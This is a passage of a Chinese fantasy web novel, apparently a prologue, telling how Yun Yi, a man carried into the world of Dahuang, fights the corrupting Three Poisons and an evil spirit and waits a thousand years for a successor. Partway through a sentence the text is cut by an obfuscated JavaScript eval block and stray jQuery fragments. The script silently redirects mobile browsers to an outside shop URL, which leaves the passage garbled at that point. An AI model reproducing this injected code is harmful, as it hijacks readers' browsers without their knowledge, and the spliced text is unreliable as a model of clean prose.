那是一个很长的故事。
千年之前,尚且只是个普通人的云逸,偶然间来到了一个全然陌生的世界。
初来乍到的他,并未意识到自己已然身处异界。因此当他满怀希望地前往附近的村落求助之时,恰好看到了一幕宛如炼狱般的惨状。
村中有一人似乎发了狂,浑身被浓郁的黑气死死缠绕,赤红的双瞳中再无半点属于人的理智。
他如疯魔般追着同村之人痛下杀手,凄厉的悲鸣声瞬间撕裂了村庄宁静的夜晚。
就在那发狂之人举起屠刀,即将对一名无辜稚儿下毒手之际,再也无法袖手旁观的云逸现身,拼死拦住了他。
此举虽勉强救下了那名稚儿,可云逸自己却被那发狂之人重创。
直到此时他才恍然惊觉,为何偌大一个村落竟无一人敢上前反抗。
原来发狂之人不仅神智尽丧,更是拥有了常人难以匹敌的恐怖怪力,以及一种令人防不胜防的诡异能力,绝非普通凡人所能抵挡。
万幸的是,危急关头,一位恰好路过的修道者及时施以援手,三下五除二便制服了那发狂之人,并将其彻底解决。
村落暂时解除了危机,村民们死里逃生。他们对毫不犹豫挺身救人的云逸感激涕零,热情地挽留他。
无处可去的云逸,便暂时在这个村落安顿了下来。
然而,危机虽已解除,逝去的生命却再也无法复生。
就在村民们强忍着悲痛,忙着安葬那些逝者之时,更可怕的梦魇悄然降临,村中竟有人已被邪气侵染。
当夜,那些被邪气侵染的人彻底失控,接连丧失神智,沦为只知杀戮的邪物。
绝望的村民们只能将他们集中锁在村中祠堂内,既要严防他们化为邪物伤人,同时又心存一丝侥幸,试图救治那些被邪气侵染尚浅的人。
机缘巧合之下,云逸无意间吹奏的一首安魂曲,竟然奇迹般地让那些被侵染的狂躁之人渐渐安静了下来。
后来他们惊喜地发现,这乐曲不仅能够安抚那些躁动之人,甚至还能够驱除他们体内的邪气。
村民们喜极而泣,他当即将传授救治之法的云逸奉若神明。
而云逸的人生轨迹,也就此拐了个弯。
这是一个名为大荒的世界。
这里的人们原本过着男耕女织、宁静祥和的日子,可两百年前的某一天,一切美好都被无情地碾碎。
那是所有人都不愿回首的梦魇之日,也是大荒陷入无尽苦难的开端。
一种名为三毒的无形之物,从人烟罕至的无妄海中汹涌而出,以极其恐怖的速度席卷了整个大荒。
它不断催生着人们心底的阴暗情绪,引诱众人走向堕落,让大荒之人变得不人不鬼。
受到三毒侵染的人,轻则暴躁易怒、好斗嗜杀;重则彻底泯灭人性,沦为力量强大且只知杀戮的邪物。
历经两百多年水深火热的苦苦挣扎,大荒之人终于摸索出了对付邪物的方法。
他们发现,与邪气一同出现的,还有一股能够克制它的无形力量。只要将其引入体内,便能拥有抵御邪物的能力。
经过无数次九死一生的尝试,终于有人成功将这股特殊的力量纳入己身。而发现这股力量的先驱者,将其命名为灵力。
至此,大荒迎来了修道者的时代。
在彻底认清这个世界的残酷真相后,云逸别无选择,毅然踏上了修道之路。
修行之路,道阻且长。
一路走来,他结识了引领他踏入修道之门的挚交好友江雾言;有幸遇见了宛如妖孽般存在的南荒域程氏少主,程惊之;又在机缘巧合之下,与北荒域那位灿若骄阳的少年天才重烨不打不相识。
从无名村落到大荒四域,从孤身一人到知交遍天下,从籍籍无名的普通人到名震大荒的三圣之一,云逸一步一个脚印,深深融入了这个世界。
对于大荒之人而言,他的出现犹如一颗从东方冉冉升起的启明星。
他驱散了笼罩在大荒之上的无尽黑暗,为无数在黑暗中踽踽独行的修道者指明了方向,也给无数深陷绝望的人带来了微芒般的希望。
直到有一天,冥冥之中传来一道空灵的声音,祂向云逸发出了悲泣的祈求:“救救大荒……”
云逸惊诧万分,设法与祂取得交流后,这才得知祂竟是守护这方天地的大荒之灵。
原来,两百年前神魔降下灾厄,不忍见大荒被三毒肆虐的大荒之灵,为了护佑世间生灵,耗尽神力压制三毒,让大荒生灵获得了一丝喘息之机,而祂却被迫陷入了沉睡。
转眼两百年过去,大荒之灵再次苏醒。
祂发现了神明留给大荒的一线生机,于是主动现身于云逸面前,恳求他拯救大荒。
云逸初时满心犹豫,他并不认为凭借自己微弱的力量,能够扛起拯救大荒的重任。
他试图拒绝大荒之灵,可来到这个世界之后所经历过的一幕幕情景,犹如走马灯般在他脑海中不断闪现。
他猛然发觉,自己与这个世界早已血脉相连,彼此交融,不可分割。
他无法眼睁睁地看着昔日相识之人沦为邪物,更无法接受这个原本美好的世界化为废墟。即便明知大荒终将走向毁灭,他亦无法做到袖手旁观。
几经痛苦挣扎之后,他对着虚空郑重许下诺言:“尔之愿,吾尽力而为之。”
自那以后,云逸偕同三位挚友,游历四域,平定八荒。
后于大荒中心建起一座无漏塔,向世间之人传授修道之法。同时又以无漏塔为核心,布下守护大阵,令大荒之人免受三毒侵蚀。
辗转之间,百年光阴悄然流逝。
大荒之灵再次现身,告诉云逸,祂终于找到了能够彻底驱除三毒,真正拯救大荒的办法。
只要深入无妄海,找到三毒涌出的源头,设下上古大阵,并以灵力启动阵法,便能将肆虐人间的三毒尽数送回渊墟之地,让大荒重现生机。
为此,祂将此方世界遭受灾厄后,由天地孕育而生的至宝破厄笔交到了云逸手中。因为接下来的路,祂已无力再干涉。
云逸郑重接过破厄笔,神色坚毅地立下誓言:“吾在一日,大荒便存一日。”
随后,云逸唤来三位好友,共同商议救世大计。
那一战,几乎出动了大荒所有的修道者。可惜,最后功败垂成!
他们根本不知道,沉寂已久的无妄海深处,正悄然孕育着一只极其强大的邪灵。
它在无妄海的浓雾之中静静蛰伏了两百年,只为等待一个能够一举侵占大荒的绝佳时机。
毫不知情的云逸与两位好友,在大荒其他修道者的拼死掩护下,成功深入无妄海,找到了三毒涌出的源头。
他们争分夺秒地布下大荒之灵传授的上古大阵,随后调动全身灵力,试图启动阵法。
可一切注定不会如此顺利。
他们绝望地发现,无论往阵法之中注入多少灵力,大阵始终纹丝不动。
多次尝试无果后,云逸这才惊觉,若要顺利启动阵法,还需要一股极其特殊的力量。
只是,他们察觉得太晚了!
早早隐匿在无妄海黑雾中的邪灵,趁三人无暇他顾之际悍然偷袭,致使三人瞬间身受重伤。
邪灵的现身令三人震惊不已,但更令他们感到心惊的是,时间过去了那么久,除了他们三人,竟再无一名修道者成功进入无妄海!
刹那间,他们便意识到,无妄海外恐怕已经出事了。
事已至此,他们不得不忍痛放弃此处尚未完成的阵法,选择暂时撤离无妄海。
可那邪灵却不依不饶,在他们身后穷追不舍,屡屡发动攻击试图拦下他们。
面对邪灵层出不穷的杀招
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748487|204393||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,三人根本无法停下,只能勉强抵挡。
结果就在他们即将冲出无妄海之际,邪灵突然发动了积蓄已久的致命一击。
紧跟在云逸身后的江雾言和重烨,为了保护他,毫不犹豫地以身为盾,动作一致地挡在了云逸身前。
这一击,让本就重伤的两人彻底变得奄奄一息。
好在危急之际,程惊之及时赶到,替三人拦下了邪灵的第二道攻击。云逸这才得以拼尽全力,将江雾言和重烨带离无妄海。
待到云逸安顿好两人,再次返回无妄海时,映入眼帘的,是一场令天地为之变色的惨烈对决。
最终,程惊之以自身陨落为代价,重创了邪灵。
目睹挚友魂飞魄散,云逸怀着满腔悲愤与怒火,对着那重创之下仍在苟延残喘的邪灵,狠狠补上了最后一击。
“不——!”
邪灵发出极其不甘的狰狞嘶吼,最终化为点点白光,消失在无妄海的上空。
这一战,可谓两败俱伤。
大战过后,身受重伤的江雾言和重烨,因在无妄海中遭到浓重邪气侵蚀,加之受到邪灵的致命一击,隐隐已有转化为邪物的征兆。
为了救回两位挚友,云逸不顾大荒之灵的强烈反对,毫不犹豫地将自身的纯净之心一分为二,强行融入两人体内,硬生生将他们从幽冥之地拉了回来。
大荒四子,已去其一。
他绝不能再让这两人也出事。为此,无论付出什么样的代价,他都在所不惜。
大荒之灵阻拦无果,愤怒不已。
祂与云逸大吵一架,双方不欢而散。
邪灵暂时消亡,无妄海的浓雾也消散了不少,连充斥着大荒四域的邪气都减弱了许多,大荒回归了短暂的安宁。
可随着时间的流逝,无妄海的浓雾日渐加重,肆虐人间的三毒又有了卷土重来的趋势。
不久后的一天,大荒之灵主动归来。祂找到云逸,向他承认,当初是祂错了。
天地有二气,一为清,一为浊。
唯有二者达到平衡,天地方能清明。
所以光靠纯粹的灵力根本无法启动上古大阵,必须要有一股与灵力完全相反的力量与之交融,共同注入阵法之中,方能成功启动阵法。
当初是祂太过于急切,无意中中了神魔的算计,忽视了这最关键的一环。
祂恳求云逸振作起来,再次拯救大荒。
可此时的云逸,早已心力交瘁。他摇头苦笑,满眼疲惫。
大战之后,大荒修道者死伤惨重,就连普通百姓也遭到了邪物屠戮。日月所照之处,生灵涂炭。
为了弥补过失,他不断奔走于大荒四域,拼死消灭邪物,化解灾域,只为能够救下更多的人。
虽然所到之处,并无一人指责他。那些饱受邪物侵害的百姓,反而对他感激涕零,甚至倒过来安慰他。
可那些人眼中信任的光芒,却如利刃般扎在他的心上,令他更加难受,险些无地自容。
如今,他只想尽己所能,拉一把那些在绝望之中挣扎的人。至于拯救大荒的宏图,他实在是心有余而力不足了。
明白他的苦衷后,大荒之灵仍未放弃。祂告诉云逸,此间尚存一丝生机,且带来这丝生机的人,与他关系密切。
云逸神色震惊地看向祂,脑海间瞬间浮现出一个本不该出现在这个世界的人。
最终,抱着那万分之一的可能,云逸再次接受了大荒之灵的请求。
他只希望,若是那人真的到来,可以不必像自己当初那般茫然无措。他希望前方有人能为她指引方向,让她能毫无后顾之忧地去完成自己未竟的事业。
这一次,他深谋远虑,精心布局,以策万全。
时光荏苒,千年光阴弹指而逝。
他等待的人,终于出现。
一个新的故事开始了。